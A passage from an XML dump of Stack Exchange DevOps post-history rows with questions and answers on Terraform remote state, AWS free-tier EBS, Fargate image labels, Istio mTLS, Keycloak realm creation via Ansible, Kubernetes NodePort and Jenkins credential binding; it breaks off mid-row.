  <row Id="34010" PostHistoryTypeId="2" PostId="11103" RevisionGUID="9b861288-45cb-421e-afbf-9ef0f445f9a9" CreationDate="2020-03-18T18:04:53.800" UserId="18637" Text="When I try create a new resource using ```terraform apply``` (Terraform init was success) received an error:&#xD;&#xA;&#xD;&#xA;```data.terraform_remote_state.project_data: Refreshing state...&#xD;&#xA;data.terraform_remote_state.environment_data: Refreshing state...&#xD;&#xA;&#xD;&#xA;Error: Unable to find remote state&#xD;&#xA;&#xD;&#xA;  on backend.tf line 15, in data &quot;terraform_remote_state&quot; &quot;project_data&quot;:&#xD;&#xA;  15: data &quot;terraform_remote_state&quot; &quot;project_data&quot; {&#xD;&#xA;&#xD;&#xA;No stored state was found for the given workspace in the given backend.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Error: Unable to find remote state&#xD;&#xA;&#xD;&#xA;  on backend.tf line 25, in data &quot;terraform_remote_state&quot; &quot;environment_data&quot;:&#xD;&#xA;  25: data &quot;terraform_remote_state&quot; &quot;environment_data&quot; {&#xD;&#xA;&#xD;&#xA;No stored state was found for the given workspace in the given backend.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And here is my point, it's a new resource the Terraform should be create the new tfstate in using my backend configuration in this case AWS S3.&#xD;&#xA;&#xD;&#xA;I have this same recipe in use to other resources running...&#xD;&#xA;&#xD;&#xA;Anyone can clarify me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34011" PostHistoryTypeId="1" PostId="11103" RevisionGUID="9b861288-45cb-421e-afbf-9ef0f445f9a9" CreationDate="2020-03-18T18:04:53.800" UserId="18637" Text="Error when creating new recource using backend AWS s3" ContentLicense="CC BY-SA 4.0" />
  <row Id="34012" PostHistoryTypeId="3" PostId="11103" RevisionGUID="9b861288-45cb-421e-afbf-9ef0f445f9a9" CreationDate="2020-03-18T18:04:53.800" UserId="18637" Text="&lt;terraform&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34013" PostHistoryTypeId="2" PostId="11104" RevisionGUID="eb88ba6f-ceba-434d-acd3-d5fd27c98f18" CreationDate="2020-03-18T18:21:24.717" UserId="20269" Text="Can I delete an EC2 instance and start off from scratch on my EBS free tier usage? For instance, I was running a Red Hat server with 10 GB of EBS being used. However, I deleted that EC2 within a few hours. I then spun up another machine with 8 GB of EBS. Do I now have 22 GB of storage left for the month or just 12 GB, after combining the 8 with the 10?&#xD;&#xA;&#xD;&#xA;... I assume, given that AWS doesn't reference hourly usage on their free tier category for EBS that the 30 GB is just a flat fee. Again, I simply don't understand if I can replete an instance, then start from scratch to zero EBS on a new instance ... " ContentLicense="CC BY-SA 4.0" />
  <row Id="34014" PostHistoryTypeId="1" PostId="11104" RevisionGUID="eb88ba6f-ceba-434d-acd3-d5fd27c98f18" CreationDate="2020-03-18T18:21:24.717" UserId="20269" Text="I have a question about EC2 instances on AWS" ContentLicense="CC BY-SA 4.0" />
  <row Id="34015" PostHistoryTypeId="3" PostId="11104" RevisionGUID="eb88ba6f-ceba-434d-acd3-d5fd27c98f18" CreationDate="2020-03-18T18:21:24.717" UserId="20269" Text="&lt;amazon-ec2&gt;&lt;architecture&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34016" PostHistoryTypeId="5" PostId="11100" RevisionGUID="e0a8753a-bebe-424c-aa24-4c018c3ac01e" CreationDate="2020-03-18T20:09:26.493" UserId="20048" Comment="added 43 characters in body" Text="The solution is to do it right:&#xD;&#xA;&#xD;&#xA;- **Do not** check them into source control.&#xD;&#xA;&#xD;&#xA;- **Do** use remote state.&#xD;&#xA;&#xD;&#xA;- **Do not** allow user access to production remote state.&#xD;&#xA;&#xD;&#xA;- **Do** enforce continuous deployment for production." ContentLicense="CC BY-SA 4.0" />
  <row Id="34017" PostHistoryTypeId="2" PostId="11105" RevisionGUID="6a7f1a20-e8af-4a2b-9904-31d1c5928b12" CreationDate="2020-03-18T23:17:53.720" UserId="16059" Text="While I can't find it explicitly written anywhere, I do know that textbooks frequently reference that you can use the free tier to avoid costs, and that they frequently have you create and destroy instances between chapters.  So, I find it **extremely** hard to believe that you would get billed for deleting and creating new EBS volumes.&#xD;&#xA;&#xD;&#xA;So, I believe that if you create a 30GB one, destroy it, and create another, you should be fine.  You should definitely make sure to remove the volumes and any related snapshots though just to be safe.&#xD;&#xA;&#xD;&#xA;They definitely don't seem to explicitly confirm that though... e.g. in text like this:&#xD;&#xA;&#xD;&#xA;&gt; Notable offers for the first 12 months following your AWS account sign-up include some level of free usage for Amazon Elastic Compute Cloud (EC2), Amazon Elastic Block Store (EBS), Amazon S3, Amazon Relational Database Services (RDS), and many other useful services.&#xD;&#xA;&#xD;&#xA;They use the free tier to get customers hooked.  They want you to like it and not be frustrated so you're more likely to use the real services and so that you may advocate them in your businesses.  So, by that logic, I similarly find it hard to believe they would &quot;trick you&quot; by billing you in this situation without making it more obvious.  That would be bad for sales." ContentLicense="CC BY-SA 4.0" />
  <row Id="34018" PostHistoryTypeId="2" PostId="11106" RevisionGUID="ccaa4c00-bb81-4697-be61-80b26af59e27" CreationDate="2020-03-19T00:46:26.710" UserId="16059" Text="You can test basically any rest api call from postman, a free app that runs perfectly well in windows or Linux (or Mac I’m sure).  You don’t need anything special.&#xD;&#xA;&#xD;&#xA;If you want to use Linux specific tools, you can sign up for AWS free tier and make a Linux box in minutes following any of their tutorials (it will be free for 1 year).&#xD;&#xA;&#xD;&#xA;You can also use docker on your computer (including on windows).  Docker will be suitable for running most non GUI based or web GUI based Linux apps.  I see a locust image here for example - https://docs.locust.io/en/stable/running-locust-docker.html." ContentLicense="CC BY-SA 4.0" />
  <row Id="34019" PostHistoryTypeId="5" PostId="11104" RevisionGUID="72e37f21-b7fa-45e3-8589-17ce87420eb3" CreationDate="2020-03-19T01:02:09.277" UserId="16059" Comment="Clarifying title." Text="Can I delete an EC2 instance and start off from scratch on my EBS free tier usage? For instance, I was running a Red Hat server with 10 GB of EBS being used. However, I deleted that EC2 within a few hours. I then spun up another machine with 8 GB of EBS. Do I now have 22 GB of storage left for the month or just 12 GB, after combining the 8 with the 10?&#xD;&#xA;&#xD;&#xA;I assume, given that AWS doesn't reference hourly usage on their free tier category for EBS that the 30 GB is just a flat fee. Again, I simply don't understand if I can replete an instance, then start from scratch to zero EBS on a new instance." ContentLicense="CC BY-SA 4.0" />
  <row Id="34020" PostHistoryTypeId="4" PostId="11104" RevisionGUID="72e37f21-b7fa-45e3-8589-17ce87420eb3" CreationDate="2020-03-19T01:02:09.277" UserId="16059" Comment="Clarifying title." Text="EC2 EBS Free Tier - Is Storage Reusable?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34021" PostHistoryTypeId="24" PostId="11104" RevisionGUID="72e37f21-b7fa-45e3-8589-17ce87420eb3" CreationDate="2020-03-19T01:02:09.277" Comment="Proposed by 16059 approved by 20269 edit id of 1172" ContentLicense="CC BY-SA 4.0" />
  <row Id="34027" PostHistoryTypeId="5" PostId="6825" RevisionGUID="f529354f-505d-4af2-9e98-52760e878838" CreationDate="2020-03-19T07:19:49.300" UserId="13353" Comment="added 183 characters in body" Text="I'm running code in docker containers through AWS ECS on the fargate engine. The problem that I'm running into is that my docker image labels are not being applied to the docker container as I would expect.&#xD;&#xA;&#xD;&#xA;As a simplified example, I build an image:&#xD;&#xA;```&#xD;&#xA;docker build --label asdf=qwer - &lt;&lt;EOF&#xD;&#xA;FROM alpine&#xD;&#xA;EOF&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ docker inspect -f'{{json .Config.Labels}}' a19a19847afe&#xD;&#xA;{&quot;asdf&quot;:&quot;qwer&quot;}&#xD;&#xA;```&#xD;&#xA;I push this up to ECR and create a container using the image in a task, then start it in my service.&#xD;&#xA;&#xD;&#xA;If I set a docker label on the container definition like `qwer=asdf`, this will show up, but my image label of `asdf=qwer` will not. Running locally works fine though:&#xD;&#xA;```&#xD;&#xA;$ task=$(docker run -d --label qwer=asdf a19a19847) &amp;&amp; docker inspect -f'{{json .Config.Labels}}' $task&#xD;&#xA;{&quot;asdf&quot;:&quot;qwer&quot;,&quot;qwer&quot;:&quot;asdf&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is this feature unsupported by fargate? It almost feels like since it's built into docker that fargate must be doing something to intentionally remove the image labels.&#xD;&#xA;&#xD;&#xA;From a wider standpoint though, what I'm looking for is the ability to tell exactly what code is being run inside of my docker container, so I'll consider a simple solution for this problem an answer as well. I'm using a floating `production` image tag currently and would prefer not to have to change my tag workflow.&#xD;&#xA;&#xD;&#xA;EDIT: This question was marked as needing clarification, but as best I can tell this question is clear. If I'm missing detail, please describe what is missing so I can provide it." ContentLicense="CC BY-SA 4.0" />
  <row Id="34028" PostHistoryTypeId="2" PostId="11108" RevisionGUID="55dbf3f4-74e5-4cd7-979c-dc9a4d6491bf" CreationDate="2020-03-19T08:52:35.343" UserId="20236" Text="I've got a container that runs a https service on port 9999.&#xD;&#xA;The service is as follows:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        role: pingfederate2&#xD;&#xA;      name: pingfederate2&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;        - name: https&#xD;&#xA;          port: 443&#xD;&#xA;          targetPort: 9999&#xD;&#xA;      selector:&#xD;&#xA;        role: pingfederate2&#xD;&#xA;&#xD;&#xA;The envoy log generated when going through the gateway is&#xD;&#xA;&#xD;&#xA;    [2020-03-19T08:42:37.356Z] &quot;- - -&quot; 0 - &quot;-&quot; &quot;-&quot; 2046 7 11 - &quot;-&quot; &quot;-&quot; &quot;-&quot; &quot;-&quot; &quot;127.0.0.1:9999&quot; inbound|443|https|pingfederate2.default.svc.cluster.local 127.0.0.1:39954 10.25.132.9:9999 10.25.131.133:56890 outbound_.443_._.pingfederate2.default.svc.cluster.local -&#xD;&#xA;&#xD;&#xA;To me, it looks like envoy is trying to communicate with the pod over http, not https.&#xD;&#xA;Is there a way to force Envoy to use https to locally communicate with the container? I could be barking up the wrong tree though." ContentLicense="CC BY-SA 4.0" />
  <row Id="34029" PostHistoryTypeId="1" PostId="11108" RevisionGUID="55dbf3f4-74e5-4cd7-979c-dc9a4d6491bf" CreationDate="2020-03-19T08:52:35.343" UserId="20236" Text="Istio: envoy proxy to https container in same pod" ContentLicense="CC BY-SA 4.0" />
  <row Id="34030" PostHistoryTypeId="3" PostId="11108" RevisionGUID="55dbf3f4-74e5-4cd7-979c-dc9a4d6491bf" CreationDate="2020-03-19T08:52:35.343" UserId="20236" Text="&lt;kubernetes&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34031" PostHistoryTypeId="2" PostId="11109" RevisionGUID="85ce6036-dd69-469f-89cf-8a17fe21c8d7" CreationDate="2020-03-19T09:03:09.380" UserId="20236" Text="Changing the destination rule from ISTIO_MUTUAL to SIMPLE fixed this issue.&#xD;&#xA;There's obviously a problem with my config with the mTLS." ContentLicense="CC BY-SA 4.0" />
  <row Id="34032" PostHistoryTypeId="2" PostId="11110" RevisionGUID="4a98345a-e000-458c-a9c9-5dfbf0d35b4f" CreationDate="2020-03-19T09:27:16.410" UserId="17486" Text="As @JSapkota mentioned the URL was wrong. It must be `https://keycloak-server/auth/admin/realms`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: &quot;Create Realm for service Keycloak&quot;&#xD;&#xA;      uri:&#xD;&#xA;        url: &quot;https://keycloak-server/auth/admin/realms&quot;&#xD;&#xA;        method: POST&#xD;&#xA;        src: &quot;realm.json&quot;&#xD;&#xA;        remote_src: &quot;no&quot;&#xD;&#xA;        status_code:&#xD;&#xA;         - 201&#xD;&#xA;        headers:&#xD;&#xA;          Content-type: &quot;application/json&quot;&#xD;&#xA;          Accept: &quot;application/json&quot;&#xD;&#xA;          Authorization: &quot;Bearer {{ keycloak_token.json.access_token }}&quot;&#xD;&#xA;      register: keycloak_realm_create&#xD;&#xA;&#xD;&#xA;Take care about the return status code. It is &quot;201 created&quot; and the `uri` module must know, that this is fine.&#xD;&#xA;&#xD;&#xA;This works one time. Because in the next run the REST API responses with 409 the `uri` module fails. &#xD;&#xA;To be idempotent, you need to check first, if the realm exists. This can be done via `GET /auth/admin/realms/{{ keycloak_realm_name }}` and check the return code, if it is 404 or 200. If it is 404, then you make a &quot;POST&quot; otherwise a &quot;PUT&quot;. So, this a complete example:&#xD;&#xA;&#xD;&#xA;    - name: &quot;Set facts&quot;&#xD;&#xA;      set_fact:&#xD;&#xA;        keycloak_admin_user: &quot;admin&quot;&#xD;&#xA;        keycloak_admin_pass: &quot;password&quot;&#xD;&#xA;        keycloak_base_url: &quot;https://keycloak.server&quot;&#xD;&#xA;        keycloak_realm_name: &quot;myrealm&quot;&#xD;&#xA;        keycloak_realm_data_file: &quot;realm.json&quot;&#xD;&#xA;&#xD;&#xA;    - name: &quot;Create Token for service Keycloak&quot;&#xD;&#xA;      uri:&#xD;&#xA;        url: &quot;{{ keycloak_base_url }}/auth/realms/master/protocol/openid-connect/token&quot;&#xD;&#xA;        method: POST&#xD;&#xA;        body_format: form-urlencoded&#xD;&#xA;        body:&#xD;&#xA;          username: &quot;{{ keycloak_admin_user }}&quot;&#xD;&#xA;          password: &quot;{{ keycloak_admin_pass }}&quot;&#xD;&#xA;          grant_type: &quot;password&quot;&#xD;&#xA;          client_id: &quot;admin-cli&quot;&#xD;&#xA;      register: keycloak_token&#xD;&#xA;&#xD;&#xA;    - name: &quot;Find out, if Realm {{ keycloak_realm_name }} for service Keycloak exists&quot;&#xD;&#xA;      uri:&#xD;&#xA;        url: &quot;{{ keycloak_base_url }}/auth/admin/realms/{{ keycloak_realm_name }}&quot;&#xD;&#xA;        method: GET&#xD;&#xA;        status_code:&#xD;&#xA;         - 200&#xD;&#xA;         - 404&#xD;&#xA;        headers:&#xD;&#xA;          Accept: &quot;application/json&quot;&#xD;&#xA;          Authorization: &quot;Bearer {{ keycloak_token.json.access_token }}&quot;&#xD;&#xA;      register: keycloak_realm_exists&#xD;&#xA;   &#xD;&#xA;    - name: &quot;Create Realm {{ keycloak_realm_name }} for service Keycloak&quot;&#xD;&#xA;      uri:&#xD;&#xA;        url: &quot;{{ keycloak_base_url }}/auth/admin/realms&quot;&#xD;&#xA;        method: POST&#xD;&#xA;        src: &quot;{{ keycloak_realm_data_file }}&quot;&#xD;&#xA;        remote_src: &quot;no&quot;&#xD;&#xA;        status_code:&#xD;&#xA;         - 201&#xD;&#xA;        headers:&#xD;&#xA;          Content-type: &quot;application/json&quot;&#xD;&#xA;          Accept: &quot;application/json&quot;&#xD;&#xA;          Authorization: &quot;Bearer {{ keycloak_token.json.access_token }}&quot;&#xD;&#xA;      register: keycloak_realm_create&#xD;&#xA;      when: &quot;keycloak_realm_exists.status == 404&quot;&#xD;&#xA;      &#xD;&#xA;    - name: &quot;Update Realm {{ keycloak_realm_name }} for service Keycloak&quot;&#xD;&#xA;      uri:&#xD;&#xA;        url: &quot;{{ keycloak_base_url }}/auth/admin/realms/{{ keycloak_realm_name }}&quot;&#xD;&#xA;        method: PUT&#xD;&#xA;        src: &quot;{{ keycloak_realm_data_file }}&quot;&#xD;&#xA;        remote_src: &quot;no&quot;&#xD;&#xA;        status_code:&#xD;&#xA;         - 204&#xD;&#xA;        headers:&#xD;&#xA;          Content-type: &quot;application/json&quot;&#xD;&#xA;          Accept: &quot;application/json&quot;&#xD;&#xA;          Authorization: &quot;Bearer {{ keycloak_token.json.access_token }}&quot;&#xD;&#xA;      register: keycloak_realm_create&#xD;&#xA;      when: &quot;keycloak_realm_exists.status == 200&quot;&#xD;&#xA;      &#xD;&#xA;Also I had the problem, that after every request the Keycloak server responses with a 403 when I don't refresh the token before the next call to Keycloak. But I think, this depends on Realm token settings of the admin realm.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34033" PostHistoryTypeId="50" PostId="9501" RevisionGUID="4ba3142a-dd48-4013-b7bb-91fc7c404957" CreationDate="2020-03-19T12:02:20.307" UserId="-1" />
  <row Id="34034" PostHistoryTypeId="2" PostId="11111" RevisionGUID="2ca25622-0135-447e-aae7-a4460a01ca5c" CreationDate="2020-03-19T12:30:49.977" UserId="20260" Text="I have created a cluster on AWS EC2 using `kops` consisting of a master node and two worker nodes, all with public IPv4 assigned.&#xD;&#xA;&#xD;&#xA;Now, I want to create a deployment with a service using NodePort to expose the application to the public.&#xD;&#xA;&#xD;&#xA;After having created the service, I retrieve the following information, showing that it correctly identified my three pods:&#xD;&#xA;&#xD;&#xA;    nlykkei:~/projects/k8s-examples$ kubectl describe svc hello-svc&#xD;&#xA;    Name:                     hello-svc&#xD;&#xA;    Namespace:                default&#xD;&#xA;    Labels:                   app=hello&#xD;&#xA;    Annotations:              kubectl.kubernetes.io/last-applied-configuration:&#xD;&#xA;                                {&quot;apiVersion&quot;:&quot;v1&quot;,&quot;kind&quot;:&quot;Service&quot;,&quot;metadata&quot;:{&quot;annotations&quot;:{},&quot;labels&quot;:{&quot;app&quot;:&quot;hello&quot;},&quot;name&quot;:&quot;hello-svc&quot;,&quot;namespace&quot;:&quot;default&quot;},&quot;spec&quot;...&#xD;&#xA;    Selector:                 app=hello-world&#xD;&#xA;    Type:                     NodePort&#xD;&#xA;    IP:                       100.69.62.27&#xD;&#xA;    Port:                     &lt;unset&gt;  8080/TCP&#xD;&#xA;    TargetPort:               8080/TCP&#xD;&#xA;    NodePort:                 &lt;unset&gt;  30001/TCP&#xD;&#xA;    Endpoints:                100.96.1.5:8080,100.96.2.3:8080,100.96.2.4:8080&#xD;&#xA;    Session Affinity:         None&#xD;&#xA;    External Traffic Policy:  Cluster&#xD;&#xA;    Events:                   &lt;none&gt;&#xD;&#xA;&#xD;&#xA;However, when I try to visit any of my public IPv4's on port 30001, I get no response from the server. I have already created a Security Group allowing all ingress traffic to port 30001 for all of the instances.&#xD;&#xA;&#xD;&#xA;Everything works with Docker Desktop for Mac, and here I notice the following service field not present in the output above:&#xD;&#xA;&#xD;&#xA;    LoadBalancer Ingress:     localhost&#xD;&#xA;&#xD;&#xA;I've already studied https://kubernetes.io/docs/concepts/services-networking/service/, and think that NodePort should serve my needs?&#xD;&#xA;&#xD;&#xA;Any help is appreciated!" ContentLicense="CC BY-SA 4.0" />
  <row Id="34035" PostHistoryTypeId="1" PostId="11111" RevisionGUID="2ca25622-0135-447e-aae7-a4460a01ca5c" CreationDate="2020-03-19T12:30:49.977" UserId="20260" Text="How to deploy a Kubernetes service using NodePort on AWS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34036" PostHistoryTypeId="3" PostId="11111" RevisionGUID="2ca25622-0135-447e-aae7-a4460a01ca5c" CreationDate="2020-03-19T12:30:49.977" UserId="20260" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34037" PostHistoryTypeId="2" PostId="11112" RevisionGUID="ca92af2c-87f5-4bec-8c36-a2d622d81bbd" CreationDate="2020-03-19T12:45:25.457" UserId="17198" Text="In one of our our Terraform modules we have a variable to optionally create a load balancer. As part of this we create some subnets thusly:&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_subnet&quot; &quot;subnet_loadbalancer&quot; {&#xD;&#xA;  count = var.create_loadbalancer ? length(var.az_names) : 0&#xD;&#xA;  vpc_id            = aws_vpc.vpc_main.id&#xD;&#xA;  cidr_block        = var.lb_subnet_cidrs[count.index]&#xD;&#xA;  availability_zone = var.az_names[count.index]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;Now, if we are creating a loadbalancer I want to output the first subnet for later use in other modules:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;output primary_LB_Subnet {&#xD;&#xA;  value = aws_subnet.subnet_loadbalancer[0]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;This is fine if we create the loadbalancer, but not if `var.create_loadbalancer` is false. In that case I get the following error:&#xD;&#xA;```&#xD;&#xA;Error: Invalid index&#xD;&#xA;&#xD;&#xA;  on ..\..\modules\vpc\loadbalancer.tf line 19, in output &quot;primary_LB_Subnet&quot;:&#xD;&#xA;  19:   value = aws_subnet.subnet_loadbalancer[0]&#xD;&#xA;    |----------------&#xD;&#xA;    | aws_subnet.subnet_loadbalancer is empty tuple&#xD;&#xA;&#xD;&#xA;The given key does not identify an element in this collection value.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I can see why this would be a problem, as we haven't create the subnets, so my immediate thought was to do something like:&#xD;&#xA;```&#xD;&#xA;output loadbalancer_sg_id {&#xD;&#xA;  value = var.create_loadbalancer ? aws_subnet.subnet_loadbalancer[0] : null&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;But this doesn't help the issue and I still get the same issue. What is the correct way to address this within Terraform?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34038" PostHistoryTypeId="1" PostId="11112" RevisionGUID="ca92af2c-87f5-4bec-8c36-a2d622d81bbd" CreationDate="2020-03-19T12:45:25.457" UserId="17198" Text="Correct way to handle 'optional' array of resources in Terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="34039" PostHistoryTypeId="3" PostId="11112" RevisionGUID="ca92af2c-87f5-4bec-8c36-a2d622d81bbd" CreationDate="2020-03-19T12:45:25.457" UserId="17198" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34040" PostHistoryTypeId="2" PostId="11113" RevisionGUID="d284cd75-c715-47ca-935f-302c9d1de082" CreationDate="2020-03-19T14:21:46.970" UserId="20283" Text="I am trying to create a new Gatsby project using the “Create from template” tab at https://gitlab.com/projects/new, but every time that I try, I get an error saying:&#xD;&#xA;&#xD;&#xA;&gt; The repository could not be imported.&#xD;&#xA;&gt; Error importing repository into user/projectname-gatsby - No such file or directory @ rb_sysopen - [FILTERED]&#xD;&#xA;&#xD;&#xA;Details and troubleshooting:&#xD;&#xA;&#xD;&#xA;- I’m using GitLab.com (not self-hosted)&#xD;&#xA;- I deleted the project and tried again: same error&#xD;&#xA;- I tried creating a Hugo project from template and it worked without problems&#xD;&#xA;&#xD;&#xA;How do I proceed or fix this bug?&#xD;&#xA;&#xD;&#xA;Here’s a screenshot:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GdaPV.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34041" PostHistoryTypeId="1" PostId="11113" RevisionGUID="d284cd75-c715-47ca-935f-302c9d1de082" CreationDate="2020-03-19T14:21:46.970" UserId="20283" Text="“Create from template” function for Gatsby results in error on GitLab Pages" ContentLicense="CC BY-SA 4.0" />
  <row Id="34042" PostHistoryTypeId="3" PostId="11113" RevisionGUID="d284cd75-c715-47ca-935f-302c9d1de082" CreationDate="2020-03-19T14:21:46.970" UserId="20283" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34043" PostHistoryTypeId="2" PostId="11114" RevisionGUID="547a6e12-657b-4cf7-a21e-0b86ef5360d7" CreationDate="2020-03-19T14:29:29.953" UserId="20284" Text="I have access to kubernetes dashboard on aws with token. And now I want to connect with kubectl, how to get server url for kubectl config?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34044" PostHistoryTypeId="1" PostId="11114" RevisionGUID="547a6e12-657b-4cf7-a21e-0b86ef5360d7" CreationDate="2020-03-19T14:29:29.953" UserId="20284" Text="How to get server url from kub dashboard?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34045" PostHistoryTypeId="3" PostId="11114" RevisionGUID="547a6e12-657b-4cf7-a21e-0b86ef5360d7" CreationDate="2020-03-19T14:29:29.953" UserId="20284" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34046" PostHistoryTypeId="2" PostId="11115" RevisionGUID="c53a3af0-f486-4597-b4c2-f2fbc8e44e4f" CreationDate="2020-03-19T15:03:45.620" UserId="19585" Text="When running an EKS cluster, the best way to configure your `~/.kube/config` is by using the [SDK's update-kubeconfig][1]:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;aws eks update-kubeconfig --name your-cluster-name&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Make sure to configure your credentials as `AWS_*` environment variables. Or even better use something like [aws-vault][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/cli/latest/reference/eks/update-kubeconfig.html&#xD;&#xA;  [2]: https://github.com/99designs/aws-vault" ContentLicense="CC BY-SA 4.0" />
  <row Id="34047" PostHistoryTypeId="2" PostId="11116" RevisionGUID="46fd4da2-f00d-44de-9595-c167be338b33" CreationDate="2020-03-19T15:09:27.637" UserId="19585" Text="It is not possible for a ConfigMap to reuse or import other ConfigMaps.&#xD;&#xA;&#xD;&#xA;You can, however, have many deployments reuse the same ConfigMap. In this case, you should extract out the common configuration to a single ConfigMap and reuse it across deployments while still allowing each individual deployment to have their own specific config." ContentLicense="CC BY-SA 4.0" />
  <row Id="34049" PostHistoryTypeId="50" PostId="10828" RevisionGUID="472d64a7-47ff-49cb-9925-fa89c30c445d" CreationDate="2020-03-19T19:01:10.097" UserId="-1" />
  <row Id="34050" PostHistoryTypeId="2" PostId="11117" RevisionGUID="d1baa3e8-f418-4f54-993f-5215754a3860" CreationDate="2020-03-20T10:57:52.070" UserId="20291" Text="From inside a Jenkins pipeline, I want to create a merge request on gitlab&#xD;&#xA;&#xD;&#xA;    def toJson = {&#xD;&#xA;        input -&gt;&#xD;&#xA;        groovy.json.JsonOutput.toJson(input)&#xD;&#xA;    }&#xD;&#xA;    def body = [&#xD;&#xA;        private_token: &quot;...&quot;,&#xD;&#xA;        source_branch: &quot;...&quot;,&#xD;&#xA;        target_branch: &quot;...&quot;,&#xD;&#xA;        title: &quot;...&quot;&#xD;&#xA;    ]&#xD;&#xA;    httpRequest httpMode: 'POST', requestBody: toJson(body), contentType: 'APPLICATION_JSON', url: 'https://my.gitlab.domain/api/v4/projects/1234/merge_requests'&#xD;&#xA;&#xD;&#xA;My problem is with the private_token, I don't want to put it in clear in the Jenkinsfile.&#xD;&#xA;&#xD;&#xA;I didn't found a way to get it from Jenkins credentials, is there one ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34051" PostHistoryTypeId="1" PostId="11117" RevisionGUID="d1baa3e8-f418-4f54-993f-5215754a3860" CreationDate="2020-03-20T10:57:52.070" UserId="20291" Text="Using Jenkins gitlab token to make an API call" ContentLicense="CC BY-SA 4.0" />
  <row Id="34052" PostHistoryTypeId="3" PostId="11117" RevisionGUID="d1baa3e8-f418-4f54-993f-5215754a3860" CreationDate="2020-03-20T10:57:52.070" UserId="20291" Text="&lt;jenkins&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34053" PostHistoryTypeId="2" PostId="11118" RevisionGUID="1ae649b2-6c57-4000-8c47-2af4c29ab418" CreationDate="2020-03-20T13:37:18.400" UserId="18637" Text="Guys I discovered what happened.&#xD;&#xA;It was necessary to apply these two resources that I informed (project_data and environment_data), but they were in the above directories and I was not aware.&#xD;&#xA;&#xD;&#xA;Something like this:&#xD;&#xA;&#xD;&#xA;    Application&#xD;&#xA;    |&#xD;&#xA;    |-Environment&#xD;&#xA;      |-environment_data.tf&#xD;&#xA;    |&#xD;&#xA;    |- project_data.tf&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34054" PostHistoryTypeId="2" PostId="11119" RevisionGUID="cb86cbce-133a-4617-895e-14fd8775f7e6" CreationDate="2020-03-20T13:55:39.543" UserId="12441" Text="Try something similar to the following:&#xD;&#xA;&#xD;&#xA;    environment {&#xD;&#xA;      GITLAB_API_TOKEN = credentials('gitlab_api_token').   &#xD;&#xA;    }&#xD;&#xA;or&#xD;&#xA;    &#xD;&#xA;    withCredentials([[&#xD;&#xA;      $class: 'com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl',&#xD;&#xA;      credentialsId: 'gitlab_api_token',&#xD;&#xA;      variable: 'GITLAB_API_TOKEN'&#xD;&#xA;    ]])&#xD;&#xA;&#xD;&#xA;See https://jenkins.io/doc/pipeline/steps/credentials-binding/&#xD;&#xA;and  https://github.com/jenkinsci/gitlab-plugin/issues/536 for more information." ContentLicense="CC BY-SA 4.0" />
  <row Id="34055" PostHistoryTypeId="2" PostId="11120" RevisionGUID="0412c911-eda8-44a4-980f-8b8ba9c09f35" CreationDate="2020-03-20T13:57:41.150" UserId="9148" Text="You can do this using the [Credential Binding Plugin][1]. Open an existing pipeline job, scroll down to the text area where you enter the pipeline code, and click the Pipeline Syntax link to open the Snippet Generator.&#xD;&#xA;&#xD;&#xA;From the Sample Step drop-down, select `withCredentials: Bind credentials to variables`. Under the Bindings section, select the &quot;Add&quot; button next to Credentials. Add a new credential of kind &quot;Secret text&quot;. Enter the API token, give it an easy to remember ID (this is how we reference this secret) and a description.&#xD;&#xA;&#xD;&#xA;When the token is added, select it from the **Credentials** drop-down selection. Enter the variable you want to use to reference the API key. Using your example, I named it `private_token`. When finished, click the **Generate Pipeline Script** button to generate a sample withCredentials() function. Using this function, any reference to the API key will be hidden from the user when called as `private_token`&#xD;&#xA;&#xD;&#xA;    withCredentials([string(credentialsId: 'Gitlab-API-Key', variable: 'private_token')]) &#xD;&#xA;    {&#xD;&#xA;        echo(&quot;My private token is: ${private_token}&quot;)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Screenshot for 